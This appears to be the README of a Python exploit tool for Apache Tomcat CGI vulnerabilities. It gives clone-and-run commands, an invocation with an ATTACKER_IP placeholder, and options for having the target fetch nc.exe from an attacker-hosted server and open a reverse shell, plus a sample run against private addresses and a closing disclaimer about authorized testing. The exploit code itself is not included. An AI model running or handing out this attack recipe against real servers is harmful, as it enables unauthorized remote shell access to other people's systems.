
A Python script designed to exploit CGI vulnerabilities in Apache Tomcat servers by executing a reverse shell connection.

requests librarygit clone <repository-url>
cd <repository-directory>
pip install requests
python3 tomcat_cgi_exploit.py -t <TARGET_IP> -i <ATTACKER_IP> -ncp <REVERSE_SHELL_PORT>
-t, --target: Target IP address with Apache Tomcat-i, --ip: Attacker IP address hosting nc.exe-ncp, --nc-port: Port for the reverse shell connection-p, --port: Target port (default: 8080)-sp, --server-port: Server port for hosting nc.exe (default: 80)-cgi, --cgi-script: Name of the CGI script to exploit (default: cmd.bat)python3 tomcat_cgi_exploit.py -t 192.168.1.100 -i 192.168.1.50 -ncp 4444
This tool is provided solely for educational purposes and authorized penetration testing. The author and contributors are not responsible for any misuse or damage caused by this script. Always obtain proper authorization before testing any system.